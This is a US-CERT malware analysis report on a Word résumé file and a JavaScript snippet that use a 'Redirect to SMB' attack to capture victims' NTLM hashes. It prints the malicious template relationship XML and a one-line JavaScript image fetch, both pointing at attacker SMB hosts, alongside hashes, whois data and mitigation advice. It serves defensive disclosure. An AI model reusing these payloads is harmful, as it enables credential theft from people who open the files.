NCCIC NATIONAL CYBERSECURITY AND COMMUNICATIONS INTEGRATION CENTER | US-CERT UNITED STATES COMPUTER EMERGENCY READINESS TEAM

Malware Initial Findings Report (MIFR) - 10128883

2017-10-13

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.

Summary

Description

US-CERT received two artifacts for analysis, a Microsoft Word Document and a file containing JavaScript code. The analysis of the artifacts indicates the use of a "Redirect to SMB" attack to steal victim credentials.

Additional analysis on related activity is also referenced in MIFR-10128327 and MIFR-10128336.

Files

Processed	2 4383c60926261d467662f95b11efc044 (184.154_redirect) 722154a36f32ba10e98020a8ad758a7a (CV Controls Engineer.docx)

IPs

Identified	2 5.153.58.45 184.154.150.66

Files

CV Controls Engineer.docx

Details

Name	CV Controls Engineer.docx
Size	19261
Type	Microsoft Word 2007+
MD5	722154a36f32ba10e98020a8ad758a7a
SHA1	2872dcdf108563d16b6cf2ed383626861fc541d2
ssdeep	384:Dk5kSg2bPvHjd1coguI38aI2TUGThYGBUvolkGDJ4LMwa7nXp:DkGMjjOn8yTUQzuw7VB37n5
Entropy	7.85923994786

Antivirus

McAfee	W97M/Downloader.cdg
Symantec	Downloader.Trojan
BitDefender	Trojan.GenericKD.12004346
Microsoft Security Essentials	Trojan:O97M/Inoff.A
Sophos	Troj/DocDl-JMD
TrendMicro House Call	TROJ_RELSLODR.D
TrendMicro	TROJ_RELSLODR.D
Emsisoft	Trojan.GenericKD.12004346 (B)
Ahnlab	DOC/Downloader
ESET	DOC/TrojanDownloader.Agent.U trojan
Ikarus	Trojan-Downloader.MSWord.Agent

Relationships

(F) CV Controls Engineer.docx (72215) Connected_To (I) 5.153.58.45

Description

This Word Document uses a "Redirect to SMB" attack to steal victim credentials.

This Word Document contains an embedded file URL, "file[:]//5.153.58.45/Normal.dotm", within its relationship component "word/_rels /settings.xml.rels." When the Word Document is opened, the file URL causes Windows to automatically attempt to authenticate to the malicious SMB server at 5.153.58.45 by providing the encrypted user credentials (NTLM v2 Hash) without prompting the user or without the user's knowledge. The operator may then capture the NTLM hash and attempt to crack the password via brute force attack.

The malicious SMB server has the following IP:

-- Begin IP --

5.153.58.45

-- End IP --

-- Begin Content "word/_rels/settings.xml.rels" --

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http[:]//schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http[:]//schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="file[:]//5.153.58.45/Normal.dotm"
TargetMode="External"/>
</Relationships>

-- End Content "word/_rels/settings.xml.rels" --

184.154_redirect

Details

Name	184.154_redirect

Size	9300
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	4383c60926261d467662f95b11efc044
SHA1	05305b7de1766713a6d4a32d740a1d0f724280ea
ssdeep	192:ela+K8nnsnQPh7aSJJJkSeIUHV4kLDDhWwpy8b7Xg:6a+K8nrPh7akrwHV5Hh1pXg
Entropy	5.31931878607

Antivirus

No matches found.

Relationships

(F) 184.154_redirect (4383c) Connected_To (I) 184.154.150.66

Description

This file contains JavaScript code that uses a "Redirect to SMB" attack to steal victim credentials.

The Javascript code contains commands to fetch the file URL, "file[:]//184.154.150.66/ame_icon.png". The file URL causes Windows to automatically attempt to authenticate to the malicious SMB server at 184.154.150.66 by providing the encrypted user credentials (NTLM v2 Hash) without prompting the user or without the user's knowledge. The operator may then capture the NTLM hash and attempt to crack the password via brute force attack.

-- Begin IP --

184.154.150.66

-- End IP --

-- Begin Javascript code sample --

```
;var i = document.createElement("img");i.src = "file[:]//184.154.150.66/ame_icon.png";
```

-- End Javascript code sample --

IPs

5.153.58.45

URI

- file[:]//5.153.58.45/Normal.dotm

Ports

- 445

Whois

% Information related to '5.153.58.32 - 5.153.58.63'

% Abuse contact for '5.153.58.32 - 5.153.58.63' is 'abuse[@]softlayer.com'

inetnum: 5.153.58.32 - 5.153.58.63
netname: NETBLK-SOFTLAYER-RIPE-CUST-RB18917-RIPE
descr: Sogeti Nederland B.V.
country: NL
admin-c: RB18917-RIPE
tech-c: RB18917-RIPE
status: ASSIGNED PA
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2015-09-21T18:57:03Z
last-modified: 2015-09-21T18:57:03Z
source: RIPE

person: Robert Berkenpas
address: Lange Dreef 17
address: Vianen, 4131NJ NL
phone: +1.866.398.7638

nic-hdl: RB18917-RIPE
abuse-mailbox: robert.berkenpas[@]sogeti.nl
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2015-09-21T18:57:00Z
last-modified: 2015-09-21T18:57:00Z
source: RIPE

Relationships

(I) 5.153.58.45	Related_To	(P) 445
(I) 5.153.58.45	Characterized_By	(W) % Information relate
(I) 5.153.58.45	Connected_From	(F) CV Controls Engineer.docx (72215)
(I) 5.153.58.45	Related_To	(U) file[:]//5.153.58.45/Normal.dotm

184.154.150.66

URI

- file[:]//184.154.150.66/ame_icon.png

Ports

- 445

Whois

NetRange: 184.154.0.0 - 184.154.255.255
CIDR: 184.154.0.0/16
NetName: SINGLEHOP
NetHandle: NET-184-154-0-0-1
Parent: NET184 (NET-184-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS32475
Organization: SingleHop, Inc. (SINGL-8)
RegDate: 2010-06-21
Updated: 2012-03-02
Ref: https[:]//whois.arin.net/rest/net/NET-184-154-0-0-1

OrgName: SingleHop, Inc.
OrgId: SINGL-8
Address: 500 West Madison Street
Address: Suite 801
City: Chicago
StateProv: IL
PostalCode: 60661
Country: US
RegDate: 2007-03-07
Updated: 2017-01-28
Comment: http[:]//www[.]singlehop.com/
Ref: https[:]//whois.arin.net/rest/org/SINGL-8

ReferralServer: rwhois://rwhois.singlehop.net:4321

OrgTechHandle: NETWO1546-ARIN
OrgTechName: Network Operations
OrgTechPhone: +1-866-817-2811
OrgTechEmail: netops[@]singlehop.com
OrgTechRef: https[:]//whois.arin.net/rest/poc/NETWO1546-ARIN

OrgAbuseHandle: ABUSE2492-ARIN
OrgAbuseName: Abuse Department
OrgAbusePhone: +1-866-817-2811
OrgAbuseEmail: abuse[@]singlehop.com
OrgAbuseRef: https[:]//whois.arin.net/rest/poc/ABUSE2492-ARIN

Relationships

(I) 184.154.150.66	Related_To	(P) 445
(I) 184.154.150.66	Characterized_By	(W) NetRange: 184.

(I) 184.154.150.66	Connected_From	(F) 184.154_redirect (4383c)
(I) 184.154.150.66	Related_To	(U) file[:]//184.154.150.66/ame_icon.png

Relationship Summary

(F) CV Controls Engineer.docx (72215)	Connected_To	(I) 5.153.58.45
(F) 184.154_redirect (4383c)	Connected_To	(I) 184.154.150.66
(I) 5.153.58.45	Related_To	(P) 445
(I) 5.153.58.45	Characterized_By	(W) % Information relate
(I) 5.153.58.45	Connected_From	(F) CV Controls Engineer.docx (72215)
(I) 5.153.58.45	Related_To	(U) file[:]//5.153.58.45/Normal.dotm
(I) 184.154.150.66	Related_To	(P) 445
(I) 184.154.150.66	Characterized_By	(W) NetRange: 184.
(I) 184.154.150.66	Connected_From	(F) 184.154_redirect (4383c)
(I) 184.154.150.66	Related_To	(U) file[:]//184.154.150.66/ame_icon.png
(P) 445	Related_To	(I) 5.153.58.45
(P) 445	Related_To	(I) 184.154.150.66
(W) NetRange: 184.	Characterizes	(I) 184.154.150.66
(W) % Information relate	Characterizes	(I) 5.153.58.45
(U) file[:]//5.153.58.45/Normal.dotm	Related_To	(I) 5.153.58.45
(U) file[:]//184.154.150.66/ame_icon.png	Related_To	(I) 184.154.150.66

Mitigation Recommendations

US-CERT recommends monitoring activity to the following domain(s) and/or IP(s) as a potential indicator of infection:

- 5.153.58.45
- 184.154.150.66

US-CERT would like to remind users and administrators of the following best practices to strengthen the security posture of their organization's systems:

- Maintain up-to-date antivirus signatures and engines.
- Restrict users' ability (permissions) to install and run unwanted software applications.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Keep operating system patches up-to-date.
- Enable a personal firewall on agency workstations.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats; implement appropriate ACLs.

Contact Information

- 1-888-282-0870
- soc@us-cert.gov (UNCLASS)
- us-cert@dhs.sgov.gov (SIPRNET)
- us-cert@dhs.ic.gov (JWICS)

US-CERT continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://forms.us-cert.gov/ncsd-feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In

most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the US-CERT Security Operations Center at 1-888-282-0870 or soc@us-cert.gov.

Can I submit malware to US-CERT? Malware samples can be submitted via three methods. Contact us with any questions.

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov/malware (anonymous)

US-CERT encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at www.us-cert.gov.

TLP:WHITE